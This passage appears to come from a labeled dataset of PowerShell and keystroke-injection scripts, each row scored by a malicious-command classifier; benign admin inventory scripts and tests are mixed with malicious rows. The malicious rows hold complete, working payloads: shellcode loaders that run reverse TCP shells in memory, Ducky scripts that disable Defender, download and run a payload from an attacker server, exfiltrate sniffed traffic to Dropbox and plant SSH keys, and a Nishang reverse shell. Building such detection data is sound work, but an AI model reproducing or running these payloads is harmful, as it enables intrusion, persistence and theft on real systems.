""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4249413e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_co6itiw7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.417597e-05
"win+r powershell enter Describe ""Write-RsCatalogItem"" { Context ""Write-RsCatalogItem with min paramet enter ers""{ $folderName = 'SutWriteRsCatalogItem_MinParameters' + [guid]::NewGuid() enter New-RsFolder -Path / -FolderName $folderName $folderPath = '/' + $folderName $ enter localPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter It ""Should upload a local report in Report Server"" { $localReportPath = $loc enter alPath + '\emptyReport.rdl' Write-RsCatalogItem -Path $localReportPath -RsFolde enter r $folderPath -Description 'newDescription' $uploadedReport = (Get-RsFolderCont enter ent -RsFolder $folderPath ) | Where-Object TypeName -eq 'Report' enter",1,1,0.0031459436,0.9968541
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_3erjb5bm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter",0,0,0.9999659,3.411999e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_0drv7inl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_150.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3955028e-05
win+r powershell enter DUCKY_REAL_BEGIN enter REM Windows 10: Disable Windows Defender with Powershell enter REM Author: Judge2020 enter REM author website: Judge2020.com enter REM enter REM let the HID enumerate enter DELAY 1000 enter GUI r enter DELAY 200 enter REM my best attempt at a elevated powershell instance enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 1000 enter ALT y enter DELAY 200 enter STRING Set-MpPreference -DisableRealtimeMonitoring $true enter ENTER enter STRING exit enter ENTER enter DUCKY_REAL_END enter,1,1,6.0248003e-05,0.9999398
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_g0lcmvwg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.474783e-05
DUCKY_REAL_BEGIN enter DELAY 500 enter GUI R enter DELAY 500 enter REM STRING shutdown /s /t 0 enter STRING shutdown /p enter DELAY 100 enter ENTER enter REM Handle apps preventing computer from shutting down enter DELAY 20000 enter SHIFT TAB enter ENTER enter DUCKY_REAL_END,1,1,6.0345577e-05,0.9999397
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_kj7e1h8k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter",0,0,0.9999659,3.411999e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: The-Perfect-Stealthy-Payload enter REM Author: zb0r enter REM Description: Opens PowerShell as admin, creates a folder in Windows/temp called Cache, adds exclusion in Defender, downloads the payload from VPS/ inside the Cache folder, executes it, and adds it enter REM Target: Windows enter REM Note: This evades most EDRs. // Delay is too big for testing purposes, can be lowered significantly. // I removed every instance of my VPS. enter REM Note: replace VPSIPHERE with the IP of your VPS and the correct port (ex:4444) and the name of your payload (ex: Shelzy.exe) enter REM Version: 1.0 enter DEFINE #VPSISHERE 0.0.0.0 enter DEFINE #EXE_NAME Shelzy.exe enter DEFINE #PORT 4444 enter EXTENSION PASSIVE_WINDOWS_DETECT enter REM VERSION 1.1 enter REM AUTHOR: Korben enter REM_BLOCK DOCUMENTATION enter Windows fully passive OS Detection and passive Detect Ready enter Includes its own passive detect ready. enter Does not require additional extensions. enter USAGE: enter Extension runs inline (here) enter Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter boot delay enter $_OS will be set to WINDOWS or NOT_WINDOWS enter See end of payload for usage within payload enter END_REM enter REM CONFIGURATION: enter DEFINE #MAX_WAIT 150 enter DEFINE #CHECK_INTERVAL 20 enter DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter DEFINE #NOT_WINDOWS 7 enter $_OS = #NOT_WINDOWS enter VAR $MAX_TRIES = #MAX_WAIT enter WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter DELAY #CHECK_INTERVAL enter $MAX_TRIES = ($MAX_TRIES - 1) enter END_WHILE enter IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter $_OS = WINDOWS enter END_IF enter REM_BLOCK EXAMPLE USAGE AFTER EXTENSION enter IF ($_OS == WINDOWS) THEN enter DUCKY_REAL_END enter",1,1,5.9442646e-05,0.9999405
win+r enter powershell enter enter enter  enter function Test-GetLocationQuotas enter { enter $location = Get-BatchAccountProviderLocation enter $quotas = Get-AzBatchLocationQuotas $location enter enter Assert-AreEqual $location $quotas.Location enter Assert-True { $quotas.AccountQuota -gt 0 } enter } enter enter,0,0,0.9999232,7.679087e-05
"win+r powershell enter class Role : BaseLogger { [string]$Name [string]$Description [hashtable]$Perm enter issions = @{} Role([string]$Name, [Logger]$Logger) { $this.Name = $Name $thi enter s.Logger = $Logger } Role([string]$Name, [string]$Description, [Logger]$Logge enter r) { $this.Name = $Name enter enter",1,1,0.0014053402,0.9985947
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_44orhrln"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4122982e-05
win terminal enter enter open https://mail.google.com/mail/u/0/ && open https://mail.google.com/mail/u/1/ && open https://mail.google.com/mail/u/2/ && open https://mail.google.com/mail/u/3/ enter,0,0,0.99324554,0.0067545357
win+r powershell enter function FireListener { <# .SYNOPSIS This script is part of Nishang. FireListene enter r is a PowerShell script that does egress testing. It is to be run on the attack enter ing/listening machine. .DESCRIPTION FireListener hosts a listening server to wh enter ich FireBuster can send packets to. Firebuster is to be run on the hin enter e which is to be tested for egress filtering. .EXAMPLE PS > FireListener -port enter range 1000-1020 enter enter,1,1,6.176453e-05,0.99993825
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Simple max volume rickroll enter REM Author: P-ict0 (https://github.com/P-ict0) enter REM Description: Turns up the volume to 100% and opens rickroll in default browser, all in one command enter REM https://github.com/P-ict0/duckyINO/tree/main/payloads/funny/rickroller enter DELAY 3000 enter GUI r enter STRING powershell $obj = New-Object -ComObject WScript.Shell; 1..50 | ForEach-Object { $obj.SendKeys( [char] 175 ) }; Start-Process 'https://www.youtube.com/watch?v=xvFZjo5PgG0&autoplay=1' enter DUCKY_REAL_END enter",1,1,6.025197e-05,0.9999398
"win+r enter powershell enter enter enter function Write-Log enter { enter enter [CmdletBinding()] enter Param ( enter [Parameter()] enter $Path="""", enter $LogName = ""$(Get-Date -f 'yyyyMMdd').log"", enter enter [Parameter(Mandatory=$true)] enter $Message = """", enter enter [Parameter()] enter [ValidateSet('INFORMATIVE','WARNING','ERROR')] enter $Type = ""INFORMATIVE"", enter $Category enter ) enter BEGIN { enter enter IF (-not(Test-Path -Path $(Join-Path -Path $Path -ChildPath $LogName))){ enter New-Item -Path $(Join-Path -Path $Path -ChildPath $LogName) -ItemType file enter } enter enter } enter PROCESS{ enter TRY{ enter ""$(Get-Date -Format yyyyMMdd:HHmmss) [$TYPE] [$category] $Message"" | Out-File -FilePath (Join-Path -Path $Path -ChildPath $LogName) -Append enter } enter CATCH{ enter Write-Error -Message ""Could not write into $(Join-Path -Path $Path -ChildPath $LogName)"" enter Write-Error -Message ""Last Error:$($error[0].exception.message)"" enter } enter } enter enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x21,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.12665e-05,0.99994874
"win+r enter powershell enter enter enter function New-RscatalogItemRoleObject enter { enter [cmdletbinding()] enter param enter ( enter [Parameter(Mandatory=$True)] enter [Object[]] $Policy, enter enter [Parameter(Mandatory=$True)] enter [String]$Path, enter enter [Parameter(Mandatory=$True)] enter [String]$TypeName, enter enter [Parameter(Mandatory=$True)] enter [Boolean]$ParentSecurity enter ) enter $catalogItemRoles = @() enter enter $Policy | ForEach-Object { enter enter $catalogItemRole = New-Object -TypeName PSCustomObject enter $catalogItemRole | Add-Member -MemberType NoteProperty -Name Identity -Value $_.GroupUserName enter $catalogItemRole | Add-Member -MemberType NoteProperty -Name Path -Value $Path enter $catalogItemRole | Add-Member -MemberType NoteProperty -Name TypeName -Value $TypeName enter $catalogItemRole | Add-Member -MemberType NoteProperty -Name Roles -Value $_.Roles enter $catalogItemRole | Add-Member -MemberType NoteProperty -Name ParentSecurity -Value $ParentSecurity enter enter $catalogItemRoles += $catalogItemRole enter } enter enter return $catalogItemRoles enter } enter enter",0,0,0.999936,6.405878e-05
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter $lpquery = @"" enter SELECT enter COUNT(CommandLine) as Cnt, enter CommandLine, enter Hash enter FROM enter *ProcsWMI.tsv enter GROUP BY enter CommandLine, enter Hash enter ORDER BY enter Cnt ASC enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -fixedsep:on -rtp:-1 ""$lpquery"" enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter",0,0,0.9999293,7.0681046e-05
"win+r powershell enter function Add-Zip { param ( [string]$sourceFile, [string]$zipFile ) begin { enter function Resolve-FullPath ([string]$Path) { if ( -not ([System.IO.Path]::IsP enter athRooted($Path)) ) { $Path = ""$PWD\$Path"" } enter enter",1,1,0.0028308171,0.9971692
"DUCKY_REAL_BEGIN enter REM ############################################# enter REM # | enter REM # Title : Exfiltrate Network Traffic | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Exfiltration | enter REM # Target : Linux | enter REM # | enter REM ############################################# enter REM Requirements: enter REM - Permissions enter REM - Internet Connection enter REM REQUIRED: You need to know the sudo password and replace 'example' with this enter DEFINE SUDO_PASS example enter REM REQUIRED: Set what you want to sniff, for example tcp port 80 enter DEFINE SNIFFING example enter REM Set your Dropbox link or whatever you want to use to exfiltrate the sniff file enter DEFINE TOKEN example enter REM Just a Dropbox const enter DEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload enter REM Output file path packets.pcap, remember to use pcap extension enter DEFINE FILE example.pcap enter DELAY 1000 enter CTRL-ALT t enter DELAY 2000 enter REM #### PERMISSIONS SECTION #### enter STRINGLN sudo su enter DELAY 1000 enter STRINGLN SUDO_PASS enter DELAY 1000 enter REM #### Network Traffic SECTION #### enter STRING FILE_PATH="" enter STRING FILE enter STRING "" enter ENTER enter DELAY 500 enter STRING filter_expression="" enter STRING SNIFFING enter STRING "" enter ENTER enter DUCKY_REAL_END",1,1,5.997371e-05,0.99994004
win+r powershell enter $a1 = New-Object System.Collections.ArrayList enter $a2 = New-Object System.Collections.ArrayList enter $a3 = New-Object System.Collections.ArrayList enter $a4 = New-Object System.Collections.ArrayList enter 1..100 | % { enter $null = $a1.Add( enter (Measure-Command { enter $null = $(1..100) enter }).Ticks enter ) enter $null = $a2.Add( enter (Measure-Command { enter $(1..100) > $null enter }).Ticks enter ) enter $null = $a3.Add( enter (Measure-Command { enter [void]$(1..100) enter }).Ticks enter ) enter $null = $a4.Add( enter (Measure-Command { enter $(1..100) | Out-Null enter }).Ticks enter ) enter } enter ($a1 | measure -Sum).sum enter ($a2 | measure -Sum).sum enter ($a3 | measure -Sum).sum enter ($a4 | measure -Sum).sum enter,0,0,0.9968395,0.0031604203
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_slymu2fq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_20.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.413249e-05
DUCKY_REAL_BEGIN enter REM Title: OS X Get SSH access enter REM Author: Jesse Wallace (c0deous) enter REM This script adds a ssh public key to the authorized_keys file on a target's mac. enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter COMMAND SPACE enter DELAY 500 enter STRING Terminal enter DELAY 500 enter ENTER enter DELAY 800 enter STRING echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys enter ENTER enter DELAY 1000 enter STRING killall Terminal enter ENTER enter REM Note: you may shorten the times if you think they are too slow. I made them to accomodate older macs that can't get around very fast. enter DUCKY_REAL_END,1,1,6.0011473e-05,0.99994004
"win+r enter powershell enter enter enter $hUdC = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $hUdC -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x0c,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$FclY=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($FclY.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$FclY,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.202326e-05,0.999948
win+r powershell enter function Start-TestFixture { & (Join-Path -Path $PSScriptRoot -ChildPath '..\In enter itialize-CarbonTest.ps1' -Resolve) } function Test-ShouldTestExistingIPV4Addres enter s { Get-IPAddress -V4 | ForEach-Object { Assert-True (Test-IPAddress -IPAddress enter $_) } } function Test-ShouldTestExistingIPV4String { enter enter,1,1,0.0038359277,0.9961641
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_6m32dzvy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_50.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4192493e-05
"win+r enter powershell enter enter enter function Invoke-PowerShellTcp enter { enter <# enter .SYNOPSIS enter Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. enter enter .DESCRIPTION enter This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. enter Also, a standard netcat can connect to this script Bind to a specific port. enter enter The script is derived from Powerfun written by Ben Turner & Dave Hardy enter enter .PARAMETER IPAddress enter The IP address to connect to when using the -Reverse switch. enter enter .PARAMETER Port enter The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. enter enter .EXAMPLE enter PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 enter enter Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on enter the given IP and port. enter enter .EXAMPLE enter PS > Invoke-PowerShellTcp -Bind -Port 4444 enter enter Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. enter enter .EXAMPLE enter PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 enter enter Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be enter listening on the given IP and port. enter enter .LINK enter http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html enter https://github.com/nettitude/powershell/blob/master/powerfun.ps1 enter https://github.com/samratashok/nishang enter #> enter [CmdletBinding(DefaultParameterSetName=""reverse"")] Param( enter enter [Parameter(Position = 0, Mandatory = $true, ParameterSetName=""reverse"")] enter [Parameter(Position = 0, Mandatory = $false, ParameterSetName=""bind"")] enter [String] enter $IPAddress, enter enter [Parameter(Position = 1, Mandatory = $true, ParameterSetName=""reverse"")] enter [Parameter(Position = 1, Mandatory = $true, ParameterSetName=""bind"")] enter [Int] enter $Port, enter enter [Parameter(ParameterSetName=""reverse"")] enter [Switch] enter $Reverse, enter enter [Parameter(ParameterSetName=""bind"")] enter [Switch] enter $Bind enter enter ) enter try enter { enter #Connect back if the reverse switch is used. enter if ($Reverse) enter { enter $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) enter } enter enter #Bind to the provided port if Bind switch is used. enter if ($Bind) enter { enter $listener = [System.Net.Sockets.TcpListener]$Port enter $listener.start() enter $client = 